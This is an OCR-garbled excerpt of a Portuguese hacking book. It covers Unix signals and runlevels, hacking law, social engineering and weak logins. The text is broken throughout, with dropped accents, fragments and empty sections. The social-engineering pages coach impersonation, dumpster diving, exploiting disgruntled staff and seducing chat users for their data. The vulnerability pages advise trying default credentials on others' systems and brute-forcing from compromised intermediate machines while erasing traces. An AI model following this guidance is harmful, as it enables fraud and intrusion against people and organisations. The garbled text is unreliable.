N INOME
SIGNIFICADO
SIGHUP
SIGINT
3
4
SIGQUlT
SIGILL
SIGTRAP*
Trace/breakpoint trap
SIGIOT/SIGABRT Aborta processo
SIGEMT *
SIGFPE
SIGKILL
10 SIGBUS *
11 SIGSEGV
12 SIGSYS *
13 SIGPIPE
14 SIGALRM
15 SIGTERM
16 SIGUSR1
17 SIGUSR2
18 SIGCLD
19 SIGPWR *
20 SIGWINCH *
21 SIGURG *
22 SIGIO *
23
SIGSTOP
- para
rastreamento
de bugs (System V)
EMTTrap (System V)
Exceo (erro) em ponto flutuante
Encerra ("mata") o processo - no pode ser ignorado
Acesso memria defeituosa (System V)
Referncia invlida memria (segmentation fault)
Chamada de sistema com argumento errado (System V)
Duto quebrado: no h processo recebendo os dados
Despertador originrio do comando C "alarm"
Encerra o processo- pode ser ignorado
Sinal definido pelo usurio
Sinal defmido pelo usurio
"Morte" de um processo ftlho
Queda de energia (System V)
Redimensiona janela (BSD 4.3 e Sun)
Condio urgente no 'socket' (BSD 4.2)
E/S possvel agora (BSD 4.2)
Congela processo
1991
1
Plataforma
Unix
I Universidade
H4CK3R I
24
SIGTSTP
25
26
SIGCONT
SIGTTIN
27
SIGTTOUT
28
29
30
31
SIGVTALRM*
SIGPROF *
SIGXCPU *
SIGXFSZ*
-9 27536
1100
Plataforma Unix I
Universidade 1 ano
H algumas pginas, vimos que o encadeamento de comandos uma das formas de comunicao entre os processos e que pode ser disparado pelo usurio
por meio do caractere I. Usando diversos pipes, um comando de apenas uma
linha pode fazer com que um arquivo ou pedao de informao seja processado por vrios programas seqencialmente. A sada de um programa "flui pelo
duto e desemboca" na entrada do programa seguinte. Por exemplo, considere o
seguinte comando:
$ Is
grep b
sort -r
tee arqsaida I wc -1
Plataforma
Unix
I Universidade H4CK3R I
Plataforma Unix [
Universidade 1ano
Plataforma
Unix
I Universidade
H4CK3R
o - Halt: o sistema
Plataforma Unix I
Universidade
ano
Xnnnnome_do_daemon
X pode ser uma de duas letras: S ou K. S indica ao processo init que o daemon
tem de ser inicializado quando se entra naquele runlevel, e K indica que o daemon
tem de ser terminado ao sair do runlevel. nnn um grupo de trs algarismos
que indica a ordem pela qual os processos so iniciados ou mortos. Sistemas
GNU/Unux usam apenas dois algarismos. O nome_do_daemon serve apenas
para identificar o symlink.
Um exemplo prtico. O servidor de e-mail sendmail tem de ser inicializado quando entramos no nvel 3. Para tanto, h um symlink apontando para init.d/sendmail:
S980sendmail
Isso indica ao processo init para inicializar o sendmail na posio 980 (ou seja,
depois que os servios com nmeros menores j estiverem inicializados). Quando o Unix deixa o runlevel3 (no desligamento da mquina, por exemplo), o link
simblico correspondente - tambm apontando para init.d/sendmail - :
K120sendmail
indicando ao init para desligar o sendmail na posio 120, depois que todos
os processos com numerao mais alta que 120 j tiverem sido terminados.
Cada sabor de Unix possui um inittab e um esquema de runlevels que, apesar
de semelhantes, so diferentes. Sugerimos ao leitor que vasculhe esses arquivos
em todos os Unix que estiverem mo, comparando-os entre si. No se atenha
apenas ao inittab: visite todos os arquivos indicados nele.
Outras gemas
O /etc encerra arquivos de configurao importantes, muitos deles de aspectos j
tratados neste captulo. No nosso objetivo ser uma fonte completa de informaes
sobre Unix - na verdade, este livro apenas arranha a superfcie. Mas uma pesquisa
mais aprofirndada no contedo do diretrio ser de grande valia para o leitor.
Como no h muito segredo em visualizar arquivos de texto, deixamos ao leitor o nus de descobrir como e para que servem cada um dos arquivos presentes
no /etc.Abaixo h uma lista com os arquivos relevantes na maioria dos "sabores".
Interrompa a leitura do livro por uma semana e estude-os todos, consultando
sempre a pgina de manual (man nome_do_arquivo) associada. Alguns nomes
podem ser diferentes em seu Unix, mas o arquivo correspondente est l. Se o
arquivo indicar diretrios ou outros arquivos, visite-os e veja o que eles contm.
services
protocols
inetd.conf/xinetd.conf
crontab
profile
bashrc
cshrc
shrc
passwd/group/shadow
hosts
host.conf
1105
] Plataforma
Unix
I Universidade
resolv.conf
inittab
fstab (vfstab no Solaris)
mtab
ld.so.conf
netgroup
netmasks
termcap/printcap/screenrc
toda a estrutura abaixo de init.d
toda a estrutura abaixo de rc.d
toda a estrutura abaixo de sysconfig
Dica: em vez de cat, use para visualizar os arquivos o comando more, que
mostra uma pgina de vdeo por vez. Se o seu sistema possuir, use o 1ess ao
invs do more - com ele possvel retroceder a pginas anteriores.
1106
1
Plataforma
Unix r
Universidade 1 ano
10 Depois do GNU, virou moda criar programas cujos nomes sejam siglas recorrentes. O smbolo do
projeto GNU um animal encontrado na frica e parecido com um biso, cujo nome ... Gnu.
1107
] Plataforma
Unix
I Universidade
H4CK3R I
sistema operacional.
O problema do Linux sua triste falta de padres. Existem centenas de distribuies ao redor do globo, cada uma com uma estrutura interna - incluindo hierarquia de diretrios - prpria. Como frisamos no incio do captulo, a base dos Unix
seu sistema de arquivos. Isso resulta em sistemas que, apesar de possurem o.
mesmo kernel, so incompatveis entre si. O padro Linux Standard Base ou LSB
(www.linuxbase.org) um esforo das maiores distribuies do mundo para resolver o problema. Acredita-se que em poucos anos haja compatibilidade total entre
todas as distribuies que aderirem ao padro.
Para saber mais sobre o GNU/Linux, o melhor ponto de partida o site oficial,
www.linux.org. Para mais informaes, basta procurar por ele em seu mecanismo de busca favorito. O Google possui um endereo dedicado a Linux em
www.google.com/linux. H revistas especializadas que podem ser consultadas,
entre elas a Revista do linux, a Arquivo linux, a linux BR, e muitos bons livros
podem ser encontrados em livrarias. Mas no deixe de estud-lo. obrigatrio!
o diabinhoque ri...
Linux no suficiente pra voc? Quer saber uma segunda opinio? Experimeite
as variantes livres do Unix da Universidade de Berkeley. Com suas licenas menos restritivas que a GPL,os sistemas *BSDpodem ser usados em solues que a
licena do GNU/Linux no permitiria. Cada um tem suas caractersticas, e uma
leitura em seus sites oficiais certamente o deixar tentado a experiment-Ios.
Muitos usurios dos *BSD(especialmente do FreeBSD) saram do Linux e dizem
que no voltam mais. Informaes sobre o BSD podem ser obtidas em:
~ FreeBSD
- www.freebsd.org
~ OpenBSD - WWTv.openbsd.org
~ NetBSD
- www.netbsd.org
1108 I
Plataforma Unix [
Universidade 1ano
Nestas poucas pginas, tentamos introduzir os princpais conceitos dos sistemas Unix. H livros inteiros escritos apenas sobre partes do Unix, portanto,
seria imprudente (e desonesto) tentar condensar em um captulo o contedo
de vrios deles.
Mas muito importante que o leitor estude sobre Unix com afinco e procure
outros livros e outras fontes. Visite regularmente todos os sites indicados ao
longo do captulo e vasculhe-os completamente. Nada to poderoso na mo
de um hacker quanto uma conta em um computador Unix ligado Internet.
1109I
] Plataforma
Unix
Fundamentos
Jurdicos
Captulo
'An nescis longas regibus esse manus
?"I
1 No sabes como as mos dos reis so compridas? Um ditado popular francs Oes rois ont
les bras longs - os reis tm os braos longos) derivado desse trecho das Herodes.
I Universidade
H4CK3R I
Se voc est lidando com situaes-limite, nunca demais ter uma viso geral
dos aspectos jurdicos que as afetam diretamente.
Poucas situaes so to
limtrofes quanto as enfrentadas pelos usurios de informtica em geral e pelos
hackersl em especial. O que crime? O que direito? O conhecimento uma das
principais armas do hacker, que deve estar atento aos movimentos feitos pelos
governos e s polticas institudas pelas empresas quanto manipulao de dados. A ignorncia em relao s leis pode trazer srios problemas, mesmo em
casos simples em que o usurio age de forma inocente sem saber que est cometendo um crime. Estar atento aos casos que j ocorreram, para que no haja
nenhuma dvida de onde e como agir, no mnimo uma atitude sbia.
A palavra legislao nos d uma vaga idia de estar lidando com o bem e o mal. H
uma grande discusso sobre a relatividade desses conceitos, mas devemos ter em mente que a tica que rege o possvel contedo dessas leis parte da necessidade de proteo das empresas e dos governos. Nem sempre as leis so feitas para o cidado, nem
sempre o que legal moralmente correto. Portanto, os indivduos que a imprensa
simplria costuma chamar de hackers nem sempre podem ser tachados de bandidos,
embora, segundo a lei, geralmente incomun em crimes por ela previstos. Robin Hood
era criminoso, mesmo agindo segundo princpios morais extremamente elevados.
As grandes estratgias para o combate aos cibercrimes
comearam
a ser
elaboradas aps os atentados terroristas ocorridos nos Estados Unidos no dia
11 de setembro de 2001. Desde ento o governo norte-americano
passou a
ditar o destino de hackers e crackers pelo mundo, exigindo de todos os outros
governos leis que facilitem a ingerncia dos Estados Unidos nesses assuntos; e,
"de quebra", em todos os outros...
1112I
Fundamentos Jurdicos [
Universidade 1 ano
As liberdades individuais e o
direito privado
Ningum tem direito de invadir a privacidade das pessoas. Mesmo parecendo bvio, afirmaes como essas tm de ser includas em qualquer documento
ou lei que trate das garantias de inviolabilidade privada. As constituies de
quase todos os pases possuem algum dispositivo semelhante, e mesmo a Declarao Universal dos Direitos Humanos prev a proteo vida pessoal e
privada das pessoas j em seus primeiros pargrafos.
O que tristemente vemos acontecer todos os dias, desde o fim da 23 Guerra
Mundial, um recrudescimento das leis nacionais buscando um maior controle
dos governos sobre seus cidados. Todos os dias, desde ento, novas tecnologias
so aplicadas em controversos e arbitrrios sistemas de monitorao. Com a
desculpa de que "a polcia precisa fazer seu trabalho", muitas pessoas durante
todo o sculo XX tiveram seus telefones grampeados, suas correspondncias
violadas, seus passos seguidos e, nos anos 90, sua atividade na Internet vigiada.
Quantos segredos pessoais - mesmo no sendo crimes - no foram revelados
publicamente por conta dessa arbitrariedade?
Alguns pases comearam a chamar para si a responsabilidade de ser a "polcia do mundo" e, para tanto, at hoje submetem outros governos menos poderosos s suas polticas. Fingindo estar caa de terroristas ou de proteger o
mundo contra indivduos perigosos (e jogando num mesmo caldeiro hackers,
terroristas,
guerrilheiros
e comunistas
quem
no se lembra
da guerra
fria?),
naes poderosas violam a soberania de pases e impem suas cartilhas comerciais e polticas. Bela maneira de disfarar segundas intenes, no mesmo?
Longe de entrar nessa discusso poltica, os autores querem chamar a ateno
do leitor para o perigo incipiente da aprovao de leis ou mesmo constitues
elaboradas para proteger os interesses de terceiros e no dos cidados. Pergunte a um advogado sobre o assunto. Voc ficar surpreso com a quantidade de
garantias que empresas estrangeiras possuem aqui no Brasil em detrimento das
necessidades bsicas dos cidados, sempre deixadas em segundo plano.
Toda moeda tem dois lados. H hackers agindo com conduta duvidosa. H
gente muito bem treinada bisbilhotando seus segredos em casa ou no trabalho.
H vndalos que fazem tudo pelo prazer de destruir. Assim como h governos
e empresas com intenes no muito nobres, h hackers (e no so poucos)
que so, realmente, criminosos e devem ser punidos por isso. Fazer leis que
protejam indivduos e entidades pblicas e privadas desses "hackers do mal"
sem ferir os direitos de privacidade das pessoas uma tarefa dificlima.
1113
] Fundamentos
Jurdicos
I Universidade
H4CK3R
escolinha
de ingls aprendemos
o common sensedosnorte-americanos
que anossa
expresso
"bom senso"rraduz-6e
como
"common
sense"em
ingls.Numa
lraduio
literal,
apenas literal.
Os povos latinos, europeus, ali'icanos e asiticos tm essa noio de bom senso: mdocina.t primeiro at encontrar" uma soluio lgica, usando
a sabedoria popular. J o common sense tem uma conotao dikrente:usaras convenes j prontas presentesna cultura estadunidense,sem
"parar paIa pensar".Portanto,
1114
Fundamentos
Jurdicos
de agir.J common
Universidade 1ano
A legislao brasileira
Fundamentos
Jurdicos
I Universidade
H4CK3R
1116I
FundamentosJurdicos[
Universidade 1ano
1117I
] Fundamentos
Jurdicos
I Universidade
FundamentosJurdicos[
Universidade 1ano
Na Europa
A maior parte dos grupos europeus tomou medidas semelhantes s dos Estados Unidos. Todas baseadas no rastreamento de informaes pessoais sem qualquer aviso prvio, dando poder aos seus agentes de vasculhar as caixas de mensagens de qualquer provedor. A adoo do padro norte-americano mostra mais
uma vez que o mundo est prximo de estabelecer uma forte estratgia de combate aos cibercrimes, o que vai prejudicar muito a ao dos vndalos digitais.
Como efeito colateral, ferir tambm alguns direitos e a privacidade de cidados
reconhecidamente inocentes ("Mate todos! Um deles terrorista...").
o russo
1119
I
Fundamentos
Jurdicos
I Universidade
H4CK3R I
1120
Fundamentos
Jurdicos
Engenharia
8
Gela
Captulo
"Por
E nem
dinheiro
g-rosso
nos
InentireulOs
Floyd,"Dogs
of War"
eng-anareInos.
Do tilbum A Momentary
Lapse of Ileason,1987
I Universidade H4CK3R I
Este captulo bem curto, se comparado com os outros, menos tcnicos. Tambm aparentemente o mais distante do que se espera de um livro como este.
Mas no se engane: as informaes aqui contidas so as mais importantes de
todo o livro. Um ataque muito complicado pode se transformar em algo
simplssimo, caso a engenharia social seja empregada. Portanto, antes de quebrar a cabea com solues puramente tecnolgicas, pense primeiro que enganar o alvo e faz-Iotrabalhar para voc pelo lado de dentro muito mais rpido.
O objetivo das tcnicas aqui apresentadas a aquisio de informaes vitais
sobre o alvo escolhido. Por informaes vitais, alm das bvias como dados fmanceiros, pessoais e hierrquicos, entende-se as idiossincrasias tcnicas e polticas
da empresa: instalaes fisicas e lgicas, topologias de rede, polticas de senhas e
chaves de criptografia.
O termo engenharia social pode parecer num primeiro momento algo distante
do universo hacker. Basicamente, significa a "garimpagem" de informaes vitais
sobre uma determinada pessoa, empresa, produto ou organizao. Essas informaes so provenientes quase sempre de pessoas prximas ao indivduo a ser atacado ou do prprio quadro de funcionrios e clientes - no caso de empresas.
Dessa forma, podemos encarar o termo como sinnimo de espionagem, que utiliza tticas que vo desde cartas e telefonemas, passando por pesquisas nos depsitos de lixo at a abordagem pessoal.
As tcnicas de engenharia social exigem uma preparao psicolgica profunda
e contnua. O candidato a invasor deve estar pronto para estudar o comportamento do seu alvo e entender melhor seu modus operandi, incluindo at o
monitoramento de horrios. Mesmo com investimentos pesados na rea de segurana, grande parte das empresas (seno todas) no est preparada para lidar
com esse fator. Lembre-se de que o espio usar a boa vontade, a cortesia, a ingenuidade das pessoas e mesmo as normas da empresa para enganar as vtimas.
O mundo da engenharia social parece ser algo muito tentador. Mas, diferente
dos crimes digitais, que no possuem uma legislao bem definida no pas, todas as tcnicas citadas so consideradas crimes passveis de punio, que vo
desde o pagamento de multas at a deteno. A interpretao legal baseia-se na
configurao dos atos de engenharia social como falsidade ideolgica, caracterizada pela incorporao de uma identidade alheia (impostura) seguida de fraude.
Dependendo do destino dado s informaes recebidas (por exemplo, em caso
de fraude financeira), o invasor responder tambm pelo crime de estelionato.
O propsito deste captulo demonstrar superficialmente as tcnicas utilizadas na engenharia social. importante que todos conheam essas tcnicas, mas
no recomendamos a ningum utiliz-Ias: pelas leis brasileiras e da maioria dos
pases elas so consideradas prticas criminosas, com punies bem severas.
11241
EngenhariaSocial[
Universidade 1Ano
Tipos de ataque
Existem basicamente dois tipos de ataques: o direto e o indireto. A eficincia
deles depende das habilidades pessoais do hacker e do quanto ele se identifica
com os processos. Normalmente, necessrio utilizar uma combinao de ambos para obter o resultado desejado. Para chegar abordagem direta, o invasor
deve ter conseguido uma bela coleo de informaes obtidas de modo indireto.
S assim poder "saber do que est falando" quando abordar um funcionrio do
teleatendimento para conseguir uma senha de acesso ao sistema ou enviar aquele fax dizendo que o gerente da filial solicitando informaes.
Ataque indireto
o ataque indireto consiste na utilizao de ferramentas de invaso (como
cavalos de tria e sites com cdigo malicioso) e de impostura (como cartas,
e-mails e sites falsos com a aparncia dos verdadeiros) para obter informaes
pessoais. Os usurios individuais de quem o hacker extrai os dados so apenas
vetores para a coleta de informaes de uma entidade maior - empresa, organizao ou governo. Sua inteno no atacar cada um desses usurios, e sim o
organismo maior ao qual elas pertencem.
Ataque direto
So caracterizados pelo contato pessoal. Geralmente so feitos por fax ou
telefone (embora hackers mais confiantes ousem faz-Ios pessoalmente...) e
exigem planejamento detalhado e antecipado, vrios planos de emergncia
para cada uma das fases do ataque previamente planejadas e um pouco de
dom artstico. Sim, um bom invasor tem a obrigao de ser bom ator. Este deve
ser bem articulado para que seu plano no seja desmascarado, e tambm ter
raciocnio rpido para encontrar sadas caso algo fora do planejado d errado.
Mtodos utilizados
bvio que todo esse falatrio sobre ataques diretos e indiretos extremamente vago. Na prtica, existem algumas tticas simples que devem ser usadas
na elaborao do procedimento de ataque. As principais armas de um engenheiro social podem ser divididas em dois grandes grupos: pesquisa e impostura.
Comecemos pela pesquisa. A aquisio de material, como relatrios anuais e
lista de pagamento, pode dar uma tima viso da hierarquia adotada na empresa.
Isso ajuda muito na hora da seleo dos alvos pontuais (lembre-se: um pedacinho
de informao extrado de cada usurio resulta em um bolo valiosssimo quando
reunido s outras pequenas informaes extradas dos outros usurios). O hacker
pode descobrir quem detm o material necessrio para a invaso e outras informaes importantes para o ataque, como departamento em que a pessoa trabalha,
softwares utilizados, sistema operacional, hardware e sistemas empresariais.
] Engenharia
1125 I
Social
I Universidade H4CK3R I
Observe que nem sempre os dados teis esto escritos: uma anlise dos resultados de sua busca, compreendendo combinaes e cruzamento de informaes,
importantssima. "Ler nas entrelinhas" nunca foi to necessrio...
Mesmo assim, a pesquisa s o comeo. Depois de descobrir quem guarda as
informaes e quais so elas, o hacker deve pensar nos meios que utilizar para
extrair mais dados. nesse ponto que entra a impostura: o hacker deve se fazer
passar por outras pessoas (seja da prpria empresa, seja clientes, fornecedores,
seja at agentes do governo) para, de posse das informaes j "garimpadas", angariar dados e documentos mais srios, especficos e, principalmente, valiosos.
A seguir vamos falar sobre mtodos utilizados para a aquisio de dados
vitais das empresas, tanto em ataques diretos quanto indiretos.
Disfarces
Como um bom espio, o engenheiro social deve dispor de diversos disfarces
para alcanar seus objetivos. Entre eles devem constar desde se passar por
faxineiro at consultor em visita. Certas empresas adoram receber consultores
de empresas famosas. Para tanto, basta apenas que o hacker tenha um terno,
boa lbia e um crach. O fator idade no mais um problema to grande, pois o
perfIl do profIssional de informtica cada vez mais jovem, basta apenas tratar
um pouco da aparncia e da linguagem a ser utilizada.
A incorporao do personagem um fator de grande importncia para o sucesso. Imagine um hacker disfarado de faxineiro. Ele simplesmente no vai
andar at a lata de lixo, separar os papis de seu interesse e virar as costas, ser
at estranho se ningum suspeitar. Ele deve fazer todo o servio desde limpar a
mesa at varrer o cho, conseguindo mais oportunidades para entender o que
acontece ao seu redor. Depois de um certo tempo, as pessoas passam a confIar
mais e o invasor pode tranqilamente limpar as mesas repletas de material importante para o desenvolvimento de um ataque bem-sucedido.
o Lixo rico!
o lixo de um escritrio , potencialmente, uma das maiores fontes de informaes para o hacker. Geralmente nele que as pessoas jogam aqueles pedaos de
papis em que anotam suas senhas antes de memoriz-Ias ou transcrever para
uma agenda. Alm disso, o lixo de uma grande empresa recebe dezenas de relatrios que podem parecer banais mas que, na verdade, guardam informaes sobre
o patrimnio da empresa, funcionrios cadastrados e aspectos dos sistemas.
A falta de preocupao s com esse fator isolado pode render uma invaso
bem-sucedida e ainda ajudar o invasor a limpar seus rastros. Muitas vezes, ele
mesmo pode estar l para recolher o lixo da sala do administrador. Obviamente, isso depende muito da percia do hacker e do quanto ele realmente precisa
das informaes, caso contrrio, ele pode esperar at que o material seja posto
para coleta, o que no seria muito recomendado.
1126 I
EngenhariaSocialI
Universidade 1Ano
Funcionrios
descontentes
e redes de contatos
Talvez seja a fonna mais fcil de conseguir infonnaes dentro de uma empresa. Muitas vezes POde rustar um certo valor (nem sempre em dinheiro...), mas isso vai dePender
do teor de insatisfao do fundonrio para com a empresa em questo. Explorar a ftagilidade de pessoas insatisfeitas com as condies de trabalho muito mais simples do que
POdemos imaginar. muito fcil para o administrador insatisfeito com o salrio falar algo
que possa prejudicar seus superiores de alguma fonna. Nem sempre eles so teis aps
sarem ou serem demitidos, pois a poltica das empresas a de trocar as senhas.
No se deve esquecer que os funcionrios de uma empresa possuem uma
rede de contatos, dentro e fora dela. Isso tambm vlido para os descontentes, que podem fornecer ao hacker informaes valiosas sobre outras pessoas e sobre caminhos para chegar a mais dados.
o apelo sentimental
o invasor pode incorporar outra pessoa, com muito mais facilidade, no mundo virtual.Vamos supor que o hacker quer invadir um computador qualquer na Internet. Ele
procura uma sala de chat e observa silendosamente a conversa por um tempo. Depois,
sai da sala e entra novamente com algum apelido do sexo oposto ao da vtima escolhida. A partir desse ponto fcil conquistar a confiana do internauta e ganhar acesso
aos seus dados pessoais mais importantes, usando apenas as tcnicas de seduo e
conquista que todos ns conhecemos e que, mesmo assim, fundonam. Observe que
homens e mulheres possuem maneiras diferentes de serem conquistados e seduzidos.
Programao
neurolingstica
hacker imita o jeito de escrever, de falar e at a gesticulao de seu interlocutor. Faz isso
A utilizao da Internet
Uma forma eficaz de conseguir as informaes
rios e cadastros na Internet. Sites que oferecem brindes para quem se cadastrar
e promoes que prometem os mais variados tipos de prmios podem no passar de instrumentos
] Engenharia
Social
I Universidade
H4CK3R I
o fator sorte
H muitos casos em que os procedimentos de engenharia social so facilitados por descuidos dos usurios e dos administradores do parque de informtica
das empresas. s vezes, mesmo empresas muito seguras deixam escapar uma, e
apenas uma, informao no bvia. Se o hacker tiver a sorte de tropear nessa
informao, seu processo de engenharia social poder ser abreviado em vrios
dias, s vezes semanas. Oreille attentive et bon vouloir!2
Casos reais
Os hackers listados nesta "galeria da fama" ganharam notoriedade por seus
ataques muito bem engendrados e pelas somas fabulosas em dinheiro que foram
capazes de movimentar. Mas lembre-se: hackers, quando so realmente bons, no
so apanhados...
Abraham Abdallah
Em 2002, o hacker e.lavador de pratos Abraham Abdallah recebeu acusaes
de fraudes da ordem de US$ 80 milhes. Utilizando-se da revista Forbes, que
publicou uma lista com as 400 pessoas mais ricas dos EUA,ele roubou o nmero
de diversos cartes de crdito de pessoas famosas. Utilizando tcnicas de engenharia social, Abdallah enganou bancos e empresas de crdito para conseguir as
informaes para o seu golpe.
Chegou a montar uma rede de caixas postais para receber as encomendas
que fazia com o dinheiro roubado. Foi descoberto pela polcia ao tentar retirar
uma quantia acima do saldo existente de Thomas Siebel, fundador da empresa
de e-commerce chamada Siebel Systems.
2 "Orelha atenta e boa vontade"" - expresso muito empregada no texto As Mil e Uma Noites
Narrativas de Sabedoria (Les Mille et Une Nuits - Rcits Sapientiaux. Traduo para o francs de Ren
R. Khawam, ditions Albin Michel, Frana). O original em rabe impronuncivel para os ocidentais.
1128 I
Engenharia Social [
Universidade 1Ano
Kevin Mitnick
Kevin Mitnick j foi um dos criminosos mais procurados pelo FEI,devido aos
crimes digitais que cometeu. Aps ganhar a liberdade, ajudou a fundar uma
empresa de consultoria especializada em segurana, a Defensive Thinking. Esse
um fato que chega a surpreender muito, pois Mitnick tomou-se um smbolo
da engenharia social ao planejar e realizar seus ataques aos sistemas de grandes empresas pelo mundo.
Ele usou as artimanhas da engenharia social pela primeira vez nos anos 70, ao
conhecer um estudante que lidava com "phreaking" (o hackeamento de linhas
telefnicas). Ele percebeu como os phreakers agiam, fazendo-se passar por llllcionrios das companhias telefnicas. Comeou a tentar com amigos e professores e sentiu-se motivado aps notar que tinha facilidade em conseguir informaes confidenciais. Ele foi evoluindo suas tticas at o ponto em que nenhuma empresa estava mais segura contra os seus ataques.
Sua lista de ataques inclui desde telefonemas inocentes ao setor de suporte
at a incorporao de funcionrios importantes para conseguir informaes
como senhas para obter acesso a grandes sistemas da empresa. Dessa forma,
Mitnick tornou-se uma lenda para a populao hacker ao redor do mundo.
Alm desses, podemos citar, com louvor, outros hackers que se utilizaram de
engenharia social para atingir seus objetivos:
~ O polons VIadimir Levin, que desviou mais de dez milhes de dlares de
contas no CityBank;
~ Raphael Gray,que roubou quase 30 mil cartes de crdito nos Estados Unidos e, com um deles (que ele alega ser de Bill Gates), comprou uma caixa de
Viagra e a remeteu ao prprio;
~Jerome Heckenkamp, ingls de 22 anos, que pediu ao juiz para ser preso
depois de invadir sites como o eBay,Lycos e eTrade;
Poderamos preencher completamente este livro citando diversos hackers
famosos (inclusive brasileiros). Apenas estes exemplos, entretanto, mostram
como as estruturas de segurana, que j so ruins no campo tecnolgico, ficam
piores quando o fator humano entra em campo.
1129 I
] Engenharia
Social
Vu lnera bilidad es
Captulo
"!
I Universidade
H4CK3R
Imagine uma nao como os Estados Unidos da Amrica. Forte, rica, militarmente imbatvel, tecnologicamente muito frente de qualquer outra. muito
difcil imaginar que uma nao como essa perca uma guerra sendo travada em
algum pas distante. Mesmo que, por algum motivo, perca tal guerra, os dispositivos nacionais de defesa nunca deixariam que um ataque qualquer (militar ou
terrorista) chegasse perto das fronteiras do pas. Certo?
Bem, 11 de setembro deixou claro que ningum pode prever tudo. Os terroristas atacaram por onde foi mais fcil, usando pessoas comuns - cidados americanos - e atuando em pontos reconhecidamente vunerveis - a fraca segurana
dos aeroportos. Quem poderia imaginar que avies comerciais seriam usados
como msseis para derrubar as torres do World Trade Center em Nova York? Se
pensarmos bem, a idia to insana que chega a ser genial (do ponto de vista
dos terroristas, obviamente): foi deveras fcil causar todo aquele dano.
Administradores de sites e de redes e mesmo ns, usurios comuns de
informtica, temos o mesmo dilema. Aplicamos correes de segurana liberados pelos desenvolve dores dos programas que usamos, instalamos flrewalls, antivrus, removedores de trojans e toda uma parafernalha tecnolgica para descobrir, depois de alguns dias, que no adiantou nada: bastou um garoto de 12 anos
com muita vontade e ms intenes para invadir nossos sistemas e fazer um
belo estrago.
Infelizmente mesmo o usurio leigo deve se preocupar com a segurana de
suas informaes e sistemas de informtica. Hoje no basta trocar a fechadura
da porta: se o seu forro for de madeira, os ladres entram pelo teto. Assim como
devemos modillcar (desflgurar?) nossas casas para torn-Ias mais seguras, temos de estar atentos a todos os buracos no bvios que os programas os quais
usamos apresentam para os terrveis chapus pretos2.
o estudo das vulnerabilidades existentes deve fazer parte da rotina do bom hacker
(err... do mau tambm...). Diariamente, listas de discusso e sites especializados
liberam listas e mais listas de falhas em sistemas operacionais e servidores. Considerando que, se voc est lendo este livro e est neste captulo, voc est querendo
aprender. Utilizar-sede tcnicas j conhecidas e divulgadas o trampolim para, no
futuro, descobrir essas vulnerabilidades antes dos organismos de defesa. Mesmo um
hacker experiente tem de estar atento a essas listas, caso algum usurio queira
facilitar seu trabalho e deixar seu computador desatualizado.
2 No captulo 1, Psicologia Hacker, vimos diversos tipos de hackers divididos por habilidade. Mas o grande
universo do submundo digital pode ser dividido, sem levar em conta as habilidades individuais, entre a comunidade
do bem e a legio do mal. Os do primeiro tipo so chamados de chapus brancos, ou white hats. J os malidosos
se autodenominam
chapus pretos, ou black hats. H os que trabalham no limiar dos dois tipos e so
chamados de grey hats (chapus cinzas). Em tempo: a Red Hat, Ine. (www.redhat.com)
no tem nada com isso...
1132 I
Vulnerabilidades I [
Universidade 1 ano
Superlammers
1133 I
] Vulnerabilidades
I Universidade
H4CK3R I
11341
Vulnerabilidades
Ir
da mquina
invadida,
desfigurando-a
ou recuperando
dados secretos,
no jargo aceito
Universidade 1 ano
1135 I
]Vulnerabilidades
I Universidade H4CK3R I
Logins fracos
No h necessidade de ferramenta alguma, se quem instalou o software j fez o
servio para voc. Todos os sistemas possuem algumas contas-padro j configuradas antes de o sistema ser instalado (ou seja, j na mdia de instalao). obrigao
de quem est preparando uma mquina para utilizao real saber quais so essas
contas e mudar as senhas das que sero usadas, desabilitando as restantes.
Tristemente, vemos diversos "administradores" por a que recebem seus
Windows 2000 e seus Unix diretamente do fornecedor e no se preocupam em
fazer uma anlise de segurana antes de colocar o equipamento em produo.
Para quem quer brincar de hacker, sistemas assim so um prato cheio. Mesmo
que as senhas sejam alteradas, saber que tais contas existem pode ser um
facilitador para o script kiddie, uma vez que metade da dupla j conhecida,
faltando apenas adivinhar a senha.
No CD, reunimos diversos conjuntos login/senha comuns, vlidos para a maioria dos sistemas operacionais. Esto em formato texto e podem ser utilizados
como listas de palavras em quebradores de senhas. Logins cujas senhas no so
mostradas na lista so contas que existem mas para as quais no h uma
senha-padro consagrada. Experimente essas combinaes em sistemas conhecidos seus. H sistemas nos quais voc, por engenharia social, j conhece algumas contas, falta tentar alguma senha. Na maioria dos casos, uma das palavras
da lista acima usada como senha por algum.
1136 I
Vulnerabilidades I [
Universidade 1 ano
o brote force seguramente o mtodo mais deselegante de tentar uma invaso por login e senha. Voc pode fazer brote force no computador do seu irmo, em casa, para descobrir as senhas dos arquivos Excel ou PDF,por exemplo. Ou pode tentar, via Internet, entrar naquele site de sexo com uma dupla
usurio/senha existente, em vez de buscar quebrar a segurana do site por
outras vias. Tambm pode experimentar entrar na rea restrita da rede de sua
empresa. De qualquer forma, o brote force deselegante, facilmente detectvel
e, em sistemas bem configurados, incuo.
No exemplo do site, um sistema de controle de acesso bem-feito cancelaria o
usurio ou travaria o login por um tempo determinado, caso mais de trs tentativas sem sucesso fossem feitas. Em situaes de war-dialing, necessrio discar
para o modem no qual se quer penetrar para cada tentativa de brote force, o
que o toma dispendioso em termos de dinheiro e tempo. Entretanto, h casos
(normalmente os mais difceis) em que o brote force a nica sada.
H um outro mtodo parecido, que pode ser considerado um brute force inteligente: os ataques por dicionrios. Utilizam-se listas de palavras comuns: nomes prprios, marcas conhecidas, grias, nomes de canes, f1lmes...Os softwares
modernos de fora brota empregam ambos os processos, tentando primeiro a
lista de palavras para depois aplicar as combinaes seqenciais do brote force "primitivo".
Obviamente, o brote force um procedimento perigoso. Um administrador
de sistemas seguramente perceber que os logs de falhas de login crescem
assustadoramente, e que todas as tentativas vm de um nico IP.Um paleativo
colocar uma espera de alguns minutos entre uma tentativa e outra, mas isso vai
retardar ainda mais um processo que, normalmente, pode durar vrios dias ou
mesmo semanas. O procedimento mais sensato invadir vrios sistemas sem
importncia e disparar o brote force a partir deles (obviamente, sempre se
lembrando de apagar seus rastros).
Hackers mais experientes sabem que as listas de palavras devem ser
customizadas para cada alvo, e que, para ser considerada boa, uma lista deve
conter elementos conseguidos por engenharia social, como o nome completo
do usurio, de sua namorada, esposa ou fIlhos, seus passatempos, o modelo de
seu carro novo ou seu endereo. Informaes como estas so utilssimas, efetivas em mais de 50% dos ataques - principalmente quando se tem um nmero
razovel de contas vlidas, bastando descobrir apenas a senha. Se o candidato a
invasor no souber pelo menos o login de uma conta vlida, quase certo que
suas tentativas sero infrotferas.
Sua lista de palavras deve conter nomes prprios do pas onde a mquina-alvo
